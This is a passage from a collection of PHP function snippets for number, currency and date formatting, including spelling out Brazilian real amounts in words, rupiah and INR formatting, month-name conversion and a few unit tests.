\"\",$numero);\n\t\t\t$inicio_coma = strpos($numero, '.');\n\t\t\t//var_dump($inicio_coma);die();\n\t\t\t// if ( is_float($numero) && ($inicio_coma != false))\n\t\t\t// \t$numero .= \"00\";\n\t\t\t// else $numero .= \",00\";\n\t\t\tif( is_numeric( $inicio_coma) && ($inicio_coma >= 1) && ($inicio_coma < strlen($numero) ) )\n\t\t\t\t$numero = substr($numero, 0, ($inicio_coma+3)); \n\t\t\t//return str_replace(\".\", \",\",$numero);\n\t\t\treturn $numero;\n\t\t}", "public function tipo_iva_cesta_formato(){\r\n\t\t\t$iva = $this->tipo_iva_cesta();\t\t\t\r\n\t\t\treturn number_format($iva,2,\",\",\".\").'%';\r\n\t\t}", "function sumaValoresFormato($num1, $num2,$num3=null)\n {\n //Validamos si la cadena \"no disponible\" esta presente en alguno de los valores\n //esta puede estar formateada en html\n $novalid1 = strpos($num1, \"no disponible\");\n $novalid2 = strpos($num2, \"no disponible\");\n if ($novalid1 !== false || $novalid2 !== false ) {\n return \"Price not available\";\n }\n\n else{\n $arrayNum1 = $this->removeFormatPrice($num1);\n $arrayNum2 = $this->removeFormatPrice($num2);\n $result = (float)$arrayNum1[1] + (float)$arrayNum2[1];\n\n if ($num3 != null) {\n $novalid1 = strpos($num1, \"no disponible\");\n if ($novalid1 !== false) {\n return \"Price not available\";\n }\n else{\n $arrayNum3 = $this->removeFormatPrice($num3);\n $result += (float)$arrayNum3[1];\n }\n\n }\n\n return $arrayNum1[0] .\" \". $this->formatPrice($result).\" \".$arrayNum1[2];\n }\n }", "function international_num_format($input, $decimals = 2)\n\t{\n\t\tglobal $config;\n\n\t\tswitch ($config['number_format_style']) {\n\t\t\tcase '2': // spain, germany\n\t\t\t\tif ($config['force_decimals'] == \"1\") {\n\t\t\t\t$output = number_format($input, $decimals, ',', '.');\n\t\t\t\t} else {\n\t\t\t\t$output = misc::formatNumber($input, $decimals, ',', '.');\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase '3': // estonia\n\t\t\t\tif ($config['force_decimals'] == \"1\") {\n\t\t\t\t$output = number_format($input, $decimals, '.', ' ');\n\t\t\t\t} else {\n\t\t\t\t$output = misc::formatNumber($input, $decimals, '.', ' ');\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase '4': // france, norway\n\t\t\t\tif ($config['force_decimals'] == \"1\") {\n\t\t\t\t$output = number_format($input, $decimals, ',', ' ');\n\t\t\t\t} else {\n\t\t\t\t$output = misc::formatNumber($input, $decimals, ',', ' ');\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase '5': // switzerland\n\t\t\t\tif ($config['force_decimals'] == \"1\") {\n\t\t\t\t$output = number_format($input, $decimals, \",\", \"'\");\n\t\t\t\t} else {\n\t\t\t\t$output = misc::formatNumber($input, $decimals, \",\", \"'\");\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase '6': // kazahistan\n\t\t\t\tif ($config['force_decimals'] == \"1\") {\n\t\t\t\t$output = number_format($input, $decimals, ',', '.');\n\t\t\t\t} else {\n\t\t\t\t$output = misc::formatNumber($input, $decimals, ',', '.');\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tif ($config['force_decimals'] == \"1\") {\n\t\t\t\t$output = number_format($input, $decimals, '.', ',');\n\t\t\t\t} else {\n\t\t\t\t$output = misc::formatNumber($input, $decimals, '.', ',');\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t} // end switch\n\t\treturn $output;\n\t}", "function extenso($valor=0, $maiusculas=false) {\n if (strpos($valor, \",\") > 0) {\n // retira o ponto de milhar, se tiver\n $valor = str_replace(\".\", \"\", $valor);\n\n // troca a virgula decimal por ponto decimal\n $valor = str_replace(\",\", \".\", $valor);\n }\n $singular = array(\"centavo\", \"real\", \"mil\", \"milhão\", \"bilhão\", \"trilhão\", \"quatrilhão\");\n $plural = array(\"centavos\", \"reais\", \"mil\", \"milhões\", \"bilhões\", \"trilhões\",\n \"quatrilhões\");\n\n $c = array(\"\", \"cem\", \"duzentos\", \"trezentos\", \"quatrocentos\",\n \"quinhentos\", \"seiscentos\", \"setecentos\", \"oitocentos\", \"novecentos\");\n $d = array(\"\", \"dez\", \"vinte\", \"trinta\", \"quarenta\", \"cinquenta\",\n \"sessenta\", \"setenta\", \"oitenta\", \"noventa\");\n $d10 = array(\"dez\", \"onze\", \"doze\", \"treze\", \"quatorze\", \"quinze\",\n \"dezesseis\", \"dezesete\", \"dezoito\", \"dezenove\");\n $u = array(\"\", \"um\", \"dois\", \"três\", \"quatro\", \"cinco\", \"seis\",\n \"sete\", \"oito\", \"nove\");\n\n $z = 0;\n\n $valor = number_format($valor, 2, \".\", \".\");\n $inteiro = explode(\".\", $valor);\n $cont = count($inteiro);\n for ($i = 0; $i < $cont; $i++)\n for ($ii = strlen($inteiro[$i]); $ii < 3; $ii++)\n $inteiro[$i] = \"0\" . $inteiro[$i];\n\n $fim = $cont - ($inteiro[$cont - 1] > 0 ? 1 : 2);\n $rt = '';\n for ($i = 0; $i < $cont; $i++) {\n $valor = $inteiro[$i];\n $rc = (($valor > 100) && ($valor < 200)) ? \"cento\" : $c[$valor[0]];\n $rd = ($valor[1] < 2) ? \"\" : $d[$valor[1]];\n $ru = ($valor > 0) ? (($valor[1] == 1) ? $d10[$valor[2]] : $u[$valor[2]]) : \"\";\n\n $r = $rc . (($rc && ($rd || $ru)) ? \" e \" : \"\") . $rd . (($rd &&\n $ru) ? \" e \" : \"\") . $ru;\n $t = $cont - 1 - $i;\n $r .= $r ? \" \" . ($valor > 1 ? $plural[$t] : $singular[$t]) : \"\";\n if ($valor == \"000\"\n\n )$z++; elseif ($z > 0)\n $z--;\n if (($t == 1) && ($z > 0) && ($inteiro[0] > 0))\n $r .= ( ($z > 1) ? \" de \" : \"\") . $plural[$t];\n if ($r)\n $rt = $rt . ((($i > 0) && ($i <= $fim) &&\n ($inteiro[0] > 0) && ($z < 1)) ? ( ($i < $fim) ? \", \" : \" e \") : \" \") . $r;\n }\n\n if (!$maiusculas) {\n return($rt ? $rt : \"zero\");\n } elseif ($maiusculas == \"2\") {\n return (strtoupper($rt) ? strtoupper($rt) : \"Zero\");\n } else {\n return (ucwords($rt) ? ucwords($rt) : \"Zero\");\n }\n }", "public static function _convertir($num)\n {\n //formatea el monto original a formato entendido por MySQL\n $_parse = numfmt_create('es_ES',\\NumberFormatter::DECIMAL);\n\n $_result = numfmt_parse($_parse,$num);\n\n return $_result;\n }", "abstract function format();", "public function testFormat(): void\n {\n $tests = $this->currencyPermutationsWithLocales();\n $results = [];\n\n foreach ($tests as $test => $parameters) {\n $locale = new Locale($parameters['locale']);\n $formatOptions = new NumberFormatOptions($parameters['options']);\n $formatter = new NumberFormat($locale, $formatOptions);\n\n $results[$test] = [\n 'result' => $formatter->format(self::NUMBER),\n ];\n }\n\n $this->assertMatchesJsonSnapshot($results);\n }", "function valorPorExtenso($valor = 0) {\r\n \r\n $valor = str_replace(\".\", \"\", $valor);\r\n \r\n $valor = str_replace(\",\", \".\", $valor);\r\n \r\n $singular = array(\"centavo\", \"real\", \"mil\", \"milhão\", \"bilhão\", \"trilhão\", \"quatrilhão\");\r\n \r\n $plural = array(\"centavos\", \"reais\", \"mil\", \"milhões\", \"bilhões\", \"trilhões\", \"quatrilhões\");\r\n \r\n $c = array(\"\", \"cem\", \"duzentos\", \"trezentos\", \"quatrocentos\", \"quinhentos\", \"seiscentos\", \"setecentos\", \"oitocentos\", \"novecentos\");\r\n \r\n $d = array(\"\", \"dez\", \"vinte\", \"trinta\", \"quarenta\", \"cinquenta\", \"sessenta\", \"setenta\", \"oitenta\", \"noventa\");\r\n \r\n $d10 = array(\"dez\", \"onze\", \"doze\", \"treze\", \"quatorze\", \"quinze\", \"dezesseis\", \"dezesete\", \"dezoito\", \"dezenove\");\r\n \r\n $u = array(\"\", \"um\", \"dois\", \"três\", \"quatro\", \"cinco\", \"seis\", \"sete\", \"oito\", \"nove\");\r\n \r\n $z = 0;\r\n \r\n $valor = number_format($valor, 2, \".\", \".\");\r\n \r\n $inteiro = explode(\".\", $valor);\r\n \r\n for($i = 0; $i < count($inteiro); $i++) {\r\n \r\n for($ii = strlen($inteiro[$i]); $ii < 3; $ii++) {\r\n \r\n $inteiro[$i] = \"0\".$inteiro[$i];\r\n }\r\n }\r\n \r\n $fim = count($inteiro) - ($inteiro[count($inteiro) - 1] > 0 ? 1 : 2);\r\n \r\n for ($i = 0; $i < count($inteiro); $i++) {\r\n \r\n $valor = $inteiro[$i];\r\n \r\n $rc = (($valor > 100) && ($valor < 200)) ? \"cento\" : $c[$valor[0]];\r\n \r\n $rd = ($valor[1] < 2) ? \"\" : $d[$valor[1]];\r\n \r\n $ru = ($valor > 0) ? (($valor[1] == 1) ? $d10[$valor[2]] : $u[$valor[2]]) : \"\";\r\n \r\n $r = $rc.(($rc && ($rd || $ru)) ? \" e \" : \"\").$rd.(($rd && $ru) ? \" e \" : \"\").$ru;\r\n \r\n $t = count($inteiro) - 1 - $i;\r\n \r\n $r .= $r ? \" \".($valor > 1 ? $plural[$t] : $singular[$t]) : \"\";\r\n \r\n if ($valor == \"000\") \r\n $z++; \r\n elseif ($z > 0) \r\n $z--;\r\n \r\n if (($t==1) && ($z>0) && ($inteiro[0] > 0)) \r\n $r .= (($z>1) ? \" de \" : \"\").$plural[$t];\r\n \r\n if ($r) $rt = $rt . ((($i > 0) && ($i <= $fim) && ($inteiro[0] > 0) && ($z < 1)) ? ( ($i < $fim) ? \", \" : \" e \") : \" \") . $r;\r\n }\r\n\r\n return $rt ? trim($rt) : \"zero\";\r\n }", "public function valor($valor) {\n\n @$formatado = number_format(($valor / 100), 2, ',', '.');\n return $formatado;\n }", "function rupiah($harga)\n{\n $hasil_harga = \"Rp. \" . number_format($harga, 2, ',', '.');\n return $hasil_harga;\n}", "function Valores_cd($valor){\t\n\n return '$ '.number_format($valor,4,',','.');\n\n}", "function Numero_a_mes($Ingresomes_c){\t\n$me = $Ingresomes_c;\nif($me=='01') $mes='Ene';\nif($me=='02') $mes='Feb';\nif($me=='03') $mes='Mar';\nif($me=='04') $mes='Abr';\nif($me=='05') $mes='May';\nif($me=='06') $mes='Jun';\nif($me=='07') $mes='Jul';\nif($me=='08') $mes='Ago';\nif($me=='09') $mes='Sep';\nif($me=='10') $mes='Oct';\nif($me=='11') $mes='Nov';\nif($me=='12') $mes='Dic';\n$cadena = (\"$mes\");\nreturn $cadena;\n}", "function number_format_i18n($number, $decimals = 0)\n {\n }", "function Valores_sd($valor){\t\n\n return '$ '.number_format($valor,0,',','.');\n\n}", "function votoMedio($nome) {\n\t$rows = selectVotoMedio($nome);\n\t$voto = 0;\n\tforeach ($rows as $row){\n\t\t$voto = $row[\"votoMedio\"];\n\t}\n\t$votoFormattato = number_format($voto, 1);\n\treturn $votoFormattato;\n}", "function formatoMoneda($valor = NULL){\n\t\tif($valor){\n\n\t\t\t//retorno con valor S/.10,00\n\t\t\treturn 'S/.'. number_format($valor, 2, ',', '.');\n\n\t\t}\n\n\t}", "public function formatNumber($number);", "function moeda($numero,$banco = false){\n\t \n\t\t\tif(!$banco){ //se vem do banco\n\t\t\t\t$numero = str_replace(\",\",\".\",$numero);\n\t\t\t\treturn number_format($numero,2,\",\",\".\");\n\t\t\t}else{\t// se vai para o banco\n\t\t\t\t$numero = str_replace(\".\",\"\",$numero);\n\t\t\t\t$numero = str_replace(\",\",\".\",$numero); \n\t\t\t\treturn $numero;\n\t\t\t} // fim de if else\t\t\n\t }", "function formatinr($input){\r\n $dec = \"\";\r\n $pos = strpos($input, \".\");\r\n if ($pos === false){\r\n //no decimals \r\n } else {\r\n //decimals\r\n $dec = substr(round(substr($input,$pos),2),1);\r\n $input = substr($input,0,$pos);\r\n }\r\n $num = substr($input,-3); //get the last 3 digits\r\n $input = substr($input,0, -3); //omit the last 3 digits already stored in $num\r\n while(strlen($input) > 0) //loop the process - further get digits 2 by 2\r\n {\r\n $num = substr($input,-2).\",\".$num;\r\n $input = substr($input,0,-2);\r\n }\r\n return $num . $dec;\r\n }", "function FormattedDivision($num1, $num2) {\r\n $res = $num1 / $num2;\r\n $res = number_format($res, 4);\r\n // code goes here\r\n return $res;\r\n}", "function money_format($format, $number) {\r\n\t\tif (function_exists('money_format')) {\r\n\t\t\treturn money_format($format, $number);\r\n\t\t}\r\n\t\tif (setlocale(LC_MONETARY, 0) == 'C') {\r\n\t\t\tsetlocale(LC_MONETARY, '');\r\n\t\t\t//return number_format($number, 2);\r\n\t\t}\r\n\r\n\t\t$locale = localeconv();\r\n\r\n\t\t$regex = '/%((?:[\\^!\\-]|\\+|\\(|\\=.)*)([0-9]+)?'\r\n\t\t\t\t. '(?:#([0-9]+))?(?:\\.([0-9]+))?([in%])/';\r\n\r\n\t\tpreg_match_all($regex, $format, $matches, PREG_SET_ORDER);\r\n\r\n\t\tforeach ($matches as $fmatch) {\r\n\t\t\t$value = floatval($number);\r\n\t\t\t$flags = array(\r\n\t\t\t\t\t'fillchar' => preg_match('/\\=(.)/', $fmatch[1], $match) ? $match[1]\r\n\t\t\t\t\t\t\t: ' ',\r\n\t\t\t\t\t'nogroup' => preg_match('/\\^/', $fmatch[1]) > 0,\r\n\t\t\t\t\t'usesignal' => preg_match('/\\+|\\(/', $fmatch[1], $match) ? $match[0]\r\n\t\t\t\t\t\t\t: '+',\r\n\t\t\t\t\t'nosimbol' => preg_match('/\\!/', $fmatch[1]) > 0,\r\n\t\t\t\t\t'isleft' => preg_match('/\\-/', $fmatch[1]) > 0);\r\n\t\t\t$width = trim($fmatch[2]) ? (int) $fmatch[2] : 0;\r\n\t\t\t$left = trim($fmatch[3]) ? (int) $fmatch[3] : 0;\r\n\t\t\t$right = trim($fmatch[4]) ? (int) $fmatch[4]\r\n\t\t\t\t\t: $locale['int_frac_digits'];\r\n\t\t\t$conversion = $fmatch[5];\r\n\r\n\t\t\t$positive = true;\r\n\t\t\tif ($value < 0) {\r\n\t\t\t\t$positive = false;\r\n\t\t\t\t$value *= -1;\r\n\t\t\t}\r\n\t\t\t$letter = $positive ? 'p' : 'n';\r\n\r\n\t\t\t$prefix = $suffix = $cprefix = $csuffix = $signal = '';\r\n\r\n\t\t\t$signal = $positive ? $locale['positive_sign']\r\n\t\t\t\t\t: $locale['negative_sign'];\r\n\t\t\tswitch (true) {\r\n\t\t\tcase $locale[\"{$letter}_sign_posn\"] == 1\r\n\t\t\t\t\t&& $flags['usesignal'] == '+':\r\n\t\t\t\t$prefix = $signal;\r\n\t\t\t\tbreak;\r\n\t\t\tcase $locale[\"{$letter}_sign_posn\"] == 2\r\n\t\t\t\t\t&& $flags['usesignal'] == '+':\r\n\t\t\t\t$suffix = $signal;\r\n\t\t\t\tbreak;\r\n\t\t\tcase $locale[\"{$letter}_sign_posn\"] == 3\r\n\t\t\t\t\t&& $flags['usesignal'] == '+':\r\n\t\t\t\t$cprefix = $signal;\r\n\t\t\t\tbreak;\r\n\t\t\tcase $locale[\"{$letter}_sign_posn\"] == 4\r\n\t\t\t\t\t&& $flags['usesignal'] == '+':\r\n\t\t\t\t$csuffix = $signal;\r\n\t\t\t\tbreak;\r\n\t\t\tcase $flags['usesignal'] == '(':\r\n\t\t\tcase $locale[\"{$letter}_sign_posn\"] == 0:\r\n\t\t\t\t$prefix = '(';\r\n\t\t\t\t$suffix = ')';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif (!$flags['nosimbol']) {\r\n\t\t\t\t$currency = $cprefix\r\n\t\t\t\t\t\t. ($conversion == 'i' ? $locale['int_curr_symbol']\r\n\t\t\t\t\t\t\t\t: $locale['currency_symbol']) . $csuffix;\r\n\t\t\t} else {\r\n\t\t\t\t$currency = '';\r\n\t\t\t}\r\n\t\t\t$space = $locale[\"{$letter}_sep_by_space\"] ? ' ' : '';\r\n\r\n\t\t\t$value = number_format($value, $right,\r\n\t\t\t\t\t$locale['mon_decimal_point'],\r\n\t\t\t\t\t$flags['nogroup'] ? '' : $locale['mon_thousands_sep']);\r\n\t\t\t$value = @explode($locale['mon_decimal_point'], $value);\r\n\r\n\t\t\t$n = strlen($prefix) + strlen($currency) + strlen($value[0]);\r\n\t\t\tif ($left > 0 && $left > $n) {\r\n\t\t\t\t$value[0] = str_repeat($flags['fillchar'], $left - $n)\r\n\t\t\t\t\t\t. $value[0];\r\n\t\t\t}\r\n\t\t\t$value = implode($locale['mon_decimal_point'], $value);\r\n\t\t\tif ($locale[\"{$letter}_cs_precedes\"]) {\r\n\t\t\t\t$value = $prefix . $currency . $space . $value . $suffix;\r\n\t\t\t} else {\r\n\t\t\t\t$value = $prefix . $value . $space . $currency . $suffix;\r\n\t\t\t}\r\n\t\t\tif ($width > 0) {\r\n\t\t\t\t$value = str_pad($value, $width, $flags['fillchar'],\r\n\t\t\t\t\t\t$flags['isleft'] ? STR_PAD_RIGHT : STR_PAD_LEFT);\r\n\t\t\t}\r\n\r\n\t\t\t$format = str_replace($fmatch[0], $value, $format);\r\n\t\t}\r\n\t\treturn $format;\r\n\t}", "public function index()\n\t{\n\t\techo number_format('42653.46',2,',','.');\n\t}", "public function meses_en_numeros($mes){\n switch ($mes) {\n case 'Ene':\n $mes2 = '01';\n break;\n case 'Febr':\n $mes2 = '02';\n break;\n case 'Mar':\n $mes2 = '03';\n break;\n case 'Abr':\n $mes2 = '04';\n break; \n case 'May':\n $mes2 = '05';\n break; \n case 'Jun':\n $mes2 = '06';\n break;\n case 'Jul':\n $mes2 = '07';\n break;\n case 'Ago':\n $mes2 = '08';\n break;\n case 'Sep':\n $mes2 = '09';\n break;\n case 'Oct':\n $mes2 = '10';\n break;\n case 'Nov':\n $mes2 = '11';\n break;\n case 'Dic':\n $mes2 = '12';\n break; \n default:\n # code...\n break;\n }\n return $mes2;\n }", "function transNumber($input) \n{\n $faRes=\"\";\n $input=\"$input\";\n $len=strlen($input);\n for ($i=0; $i<$len; $i++)\n switch($input[$i]) {\n case \"0\": $faRes.=\"۰\"; break;\n case \"1\": $faRes.=\"۱\"; break;\n case \"2\": $faRes.=\"۲\"; break;\n case \"3\": $faRes.=\"۳\"; break;\n case \"4\": $faRes.=\"۴\"; break;\n case \"5\": $faRes.=\"۵\"; break;\n case \"6\": $faRes.=\"۶\"; break;\n case \"7\": $faRes.=\"۷\"; break;\n case \"8\": $faRes.=\"۸\"; break;\n case \"9\": $faRes.=\"۹\"; break;\n default: $faRes.= $input[$i]; break;\n }\n return $faRes;\n}", "public function changeFormat() {\r\n\t\tif($this->get_vl_jogo() != 0.0) {\r\n\t\t\treturn 'R$ '. number_format($this->get_vl_jogo(), 2, ',', '.');\r\n\t\t}\r\n\t\treturn 'Gratuito';\r\n\t\t\t\t\r\n\t}", "function dataformat ($data_grezza) {\n\t//elaboro da data\n\t$day_grezzo = substr($data_grezza,0,2);\n\t$day = (int) $day_grezzo;\n\t$month_grezzo = substr($data_grezza,3,2);\n\t$month = (int) $month_grezzo;\n\t$year_grezzo = substr($data_grezza,-4,4);\n\t$year = (int) $year_grezzo;\n\t// Controllo la variabile data\n\tif ($day<=31 && $month<=12) {\n\t\tif ($day<10) {$day_ok = \"0\".$day;}\n\t\telse {$day_ok = $day;}\n\t\t\n\t\tif ($month<10) {$month_ok = \"0\".$month;}\n\t\telse {$month_ok = $month;}\n\t\t$data_app = $year.$month_ok.$day_ok;\n\t}\n\telse {$data_app = \"err\";} \n\t\treturn $data_app;\n}", "function cislo ($cislo, $desmista = 0, $separator = ',')\n{\n\treturn number_format($cislo, $desmista, '.', $separator);\n}", "function index()\r\n\t{\r\n\t\t//\techo number_format(0, 2, '.', '');\r\n\t}", "public function testFormat() {\n\t\t$is = $this->Numeric->format('22');\n\t\t$expected = '22,00';\n\t\t$this->assertEquals($expected, $is);\n\n\t\t$is = $this->Numeric->format('22.30', ['places' => 1]);\n\t\t$expected = '22,3';\n\t\t$this->assertEquals($expected, $is);\n\n\t\t$is = $this->Numeric->format('22.30', ['places' => -1]);\n\t\t$expected = '20';\n\t\t$this->assertEquals($expected, $is);\n\n\t\t$is = $this->Numeric->format('22.30', ['places' => -2]);\n\t\t$expected = '0';\n\t\t$this->assertEquals($expected, $is);\n\n\t\t$is = $this->Numeric->format('22.30', ['places' => 3]);\n\t\t$expected = '22,300';\n\t\t$this->assertEquals($expected, $is);\n\n\t\t$is = $this->Numeric->format('abc', ['places' => 2]);\n\t\t$expected = '---';\n\t\t$this->assertEquals($expected, $is);\n\n\t\t/*\n\t\t$is = $this->Numeric->format('12.2', array('places'=>'a'));\n\t\t$expected = '12,20';\n\t\t$this->assertEquals($expected, $is);\n\t\t*/\n\n\t\t$is = $this->Numeric->format('22.3', ['places' => 2, 'before' => 'EUR ']);\n\t\t$expected = 'EUR 22,30';\n\t\t$this->assertEquals($expected, $is);\n\n\t\t$is = $this->Numeric->format('22.3', ['places' => 2, 'after' => ' EUR']);\n\t\t$expected = '22,30 EUR';\n\t\t$this->assertEquals($expected, $is);\n\n\t\t$is = $this->Numeric->format('22.3', ['places' => 2, 'after' => 'x', 'before' => 'v']);\n\t\t$expected = 'v22,30x';\n\t\t$this->assertEquals($expected, $is);\n\n\t\t#TODO: more\n\n\t}", "function convertMoeda(&$valorMoeda){\r\n\t\t$valorMoedaAux = explode('.' , $valorMoeda);\r\n\t\tif(isset ($valorMoedaAux[1])){\r\n\t\t\t$valorMoeda= \"R$ \".$valorMoedaAux[0].','.$valorMoedaAux[1];\r\n\t\t}else{\r\n\t\t\t$valorMoeda = \"R$ \".$valorMoedaAux[0].','.'00';\r\n\t\t}\r\n\t\treturn $valorMoeda;\r\n\t}", "public function cesta_con_iva_formato(){\r\n\t\t\t$importe = $this->cesta_con_iva();\r\n\t\t\t$formatter = new NumberFormatter('de_DE', NumberFormatter::CURRENCY);\t\t\t\r\n\t\t\treturn $formatter->formatCurrency($importe, 'EUR');\r\n\t\t}", "function formatar($string, $tipo = \"\")\n{\n if(empty($string))\n return false;\n \n // Limpa texto deixando somewnte os numeros\n $string = preg_replace(\"#[^0-9]#\", \"\", $string);\n \n // Caso nao informe o tipo, detecta alguns padroes\n if (!$tipo)\n {\n switch (strlen($string))\n {\n case 10: \t$tipo = 'fone'; break;\n case 8: \t$tipo = 'cep'; break;\n case 11: \t$tipo = 'cpf'; break;\n case 14: $tipo = 'cnpj'; break;\n }\n }\n \n // Formata no tipo escolhido\n switch($tipo)\n {\n case 'fone':\n if(strlen($string) == 10)\n $string = '(' . substr($string, 0, 2) . ') ' . substr($string, 2, 4) . '-' . substr($string, 6);\n else\n $string = '(' . substr($string, 0, 2) . ') ' . substr($string, 2, 5) . '-' . substr($string, 7);\n break;\n case 'cep':\n $string = substr($string, 0, 5) . '-' . substr($string, 5, 3);\n break;\n case 'cpf':\n $string = substr($string, 0, 3) . '.' . substr($string, 3, 3) . '.' . substr($string, 6, 3) . '-' . substr($string, 9, 2);\n break;\n case 'cnpj':\n $string = substr($string, 0, 2) . '.' . substr($string, 2, 3) . '.' . substr($string, 5, 3) . '/' . substr($string, 8, 4) . '-' . substr($string, 12, 2);\n break;\n case 'dt2bd':\n $string = substr($string, -4) . '-' . substr($string, 2, 2) . '-' . substr($string, 0, 2);\n break;\n case 'bd2dt':\n $string = substr($string, -2) . '/' . substr($string, 4, 2) . '/' . substr($string, 0, 4);\n break;\n }\n return $string;\n}", "function cantidades_excel($valor){\t\n\n\t$valor = str_replace('.', ',', $valor);\n return $valor;\n\t\n}", "public function getMontoVentas($format = true){\n \n \n \t$sql =\"SELECT SUM(op.precio*op.cantidad) FROM tbl_orden_has_productotallacolor op\n where op.look_id = :id AND tbl_orden_id IN (select id from tbl_orden where estado IN (3, 4, 8, 11))\";\n\t\t\t\t\tif ($format)\n\t\t\treturn Yii::app()->numberFormatter->formatDecimal( Yii::app()->db->createCommand($sql)->queryScalar(array(\"id\" => $this->id)));\n\t\t\t\t\telse\n\t\t\treturn Yii::app()->db->createCommand($sql)->queryScalar(array(\"id\" => $this->id));\n \n \n\t}", "function real2String ($rImporto, $stFormato, $nNumDecimali = 2, $noImporto = \"\") {\n\n\tif ($rImporto == \"\") { return $noImporto; }\n\n\t$rImporto = round ($rImporto, $nNumDecimali);\n\n\tlist($stIntero, $stDecimale) = explode(\".\", $rImporto);\n\n\t$stRet \t= \"\";\n\t$n \t\t= strlen($stIntero);\n\n\tswitch ($stFormato) {\n\tcase \"XXXX,XX\":\n\t\t$a = explode(\".\", $rImporto);\n\t\t$stRet = $a[0];\n\t\tbreak;\n\tcase \"X.XXX\":\n\tcase \"X.XXX,XX\":\n\t\t$nStart = 3;\n\n\t\twhile ($n > $nStart) {\n\t\t\tif ($stRet != \"\") { $stRet = \".\" . $stRet; }\n\n\t\t\t$stRet = substr($stIntero, -$nStart, 3) . $stRet;\n\t\t\t$nStart += 3;\n\t\t}\n\n\t\t$nStart -= 3;\n\t\t$nCharRimasti = $n - $nStart;\n\t\n\t\t// Controllo per eliminare il difetto: -.xxx,yy\n\t\tif ($nCharRimasti == 1 && $stIntero[0] == \"-\") {\n\t\t\t$stRet = \"-\" . $stRet;\n\t\t\tbreak;\n\t\t}\n\n\t\tif ($stRet != \"\") { $stRet = \".\" . $stRet; }\n\n\t\t$stRet = substr($stIntero, 0, $nCharRimasti) . $stRet;\n\t\tbreak;\n\t}\n\n\tif ($stFormato == \"X.XXX\") { return $stRet; }\n\n\t$decimali = \"\";\n\tfor ($i=0; $i < $nNumDecimali; $i++) {\n\t\t$decimali .= \"0\";\n\t}\n\n\treturn ($stDecimale != \"\") ? $stRet . \",\" . $stDecimale : $stRet . \",$decimali\";\n}", "public static function get_number_formats_script( $form ) {\n\t\t$number_formats = array();\n\t\t$currency = RGCurrency::get_currency( GFCommon::get_currency() );\n\n\t\tforeach ( $form['fields'] as $field ) {\n\n\t\t\t// default format is false, fields with no format will inherit the format of the formula field when calculated\n\t\t\t// price format is specified for product fields, value format is specified number fields; used in conditional\n\t\t\t// logic to determine if field or rule value should be formatted\n\t\t\t$price_format = false;\n\t\t\t$value_format = false;\n\n\t\t\tswitch ( GFFormsModel::get_input_type( $field ) ) {\n\t\t\t\tcase 'number':\n\t\t\t\t\t$value_format = $field->numberFormat ? $field->numberFormat : 'decimal_dot';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'singleproduct':\n\t\t\t\tcase 'calculation':\n\t\t\t\tcase 'price':\n\t\t\t\tcase 'hiddenproduct':\n\t\t\t\tcase 'singleshipping':\n\t\t\t\t\t$price_format = $currency['decimal_separator'] == ',' ? 'decimal_comma' : 'decimal_dot';\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\n\t\t\t\t\t// we check above for all single-input product types, for all other products, assume decimal format\n\t\t\t\t\tif ( in_array( $field->type, array( 'product', 'option', 'shipping' ) ) ) {\n\t\t\t\t\t\t$price_format = 'decimal_dot';\n\t\t\t\t\t}\n\t\t\t}\n\n\t\t\t$number_formats[ $field->id ] = array(\n\t\t\t\t'price' => $price_format,\n\t\t\t\t'value' => $value_format\n\t\t\t);\n\n\t\t}\n\n\t\treturn 'gf_global[\"number_formats\"][' . $form['id'] . '] = ' . json_encode( $number_formats ) . ';';\n\t}", "function convert_number($n) {\r\r\n if($n != ''){\r\r\n $n = (0+str_replace(\",\", \"\", $n));\r\r\n }\r\r\n\r\r\n //if (!is_numeric($n)) return false;\r\r\n\r\r\n if ($n > 1000000000000) return round(($n/1000000000000), 2).'T';\r\r\n elseif ($n > 1000000000) return round(($n/1000000000), 2).'B';\r\r\n elseif ($n > 1000000) return round(($n/1000000), 2).'M';\r\r\n elseif ($n > 1000) return round(($n/1000), 2).'Th';\r\r\n \r\r\n return number_format($n);\r\r\n }", "public static function redondearDian($numero)\n {\n $resultado = 0;\n $parte_entera = $numero;\n $parte_decimal = 0;\n $siguiente_menos_significativo = 0;\n $segundo__siguiente_menos_significativo = 0;\n $digito_menos_significativo = 0;\n\n $pos = strpos($numero, '.');\n\n if ($pos !== false) { //si contiene decimales\n $parte_numero = explode(\".\", $numero); //separamos decimales separados por coma\n $parte_entera = $parte_numero[0];\n $parte_decimal = $parte_numero[1];\n }\n\n if (strlen($parte_decimal) <= 2) {\n $resultado = $numero;\n } else //si es mayor o igual que 3\n {\n\n $siguiente_menos_significativo = $parte_decimal[2]; //cogemos el tercer digito de la parte decimal\n\n if ($siguiente_menos_significativo >= 0 && $siguiente_menos_significativo <= 4) {\n $digito_menos_significativo = $parte_decimal[0] .$parte_decimal[1];\n }\n\n if ($siguiente_menos_significativo >= 6 && $siguiente_menos_significativo <= 9) {\n $digito_menos_significativo = ($parte_decimal[0] . $parte_decimal[1]) + 1;\n }\n\n if ($siguiente_menos_significativo == 5) {\n\n if (strlen($parte_decimal) == 3) {\n $segundo__siguiente_menos_significativo = 0;\n } else {\n $segundo__siguiente_menos_significativo = $parte_decimal[3];\n }\n\n if ($segundo__siguiente_menos_significativo % 2 == 0) { //si es par redondea hacia abajo\n $digito_menos_significativo = $parte_decimal[0] .$parte_decimal[1];\n } else {\n $digito_menos_significativo = ($parte_decimal[0] . $parte_decimal[1]) + 1; //si es impar se redondea hacia arriva\n }\n }\n\n $resultado = $parte_entera . \".\" . $digito_menos_significativo;\n }\n\n\n return $resultado;\n }", "function mostrar_precio($precio){\n\t\t$cantidad=strlen($precio);\n\t\t$variable_cadena = (string)$precio;\n\t\t\n\t\t$nuevo=\"\"; 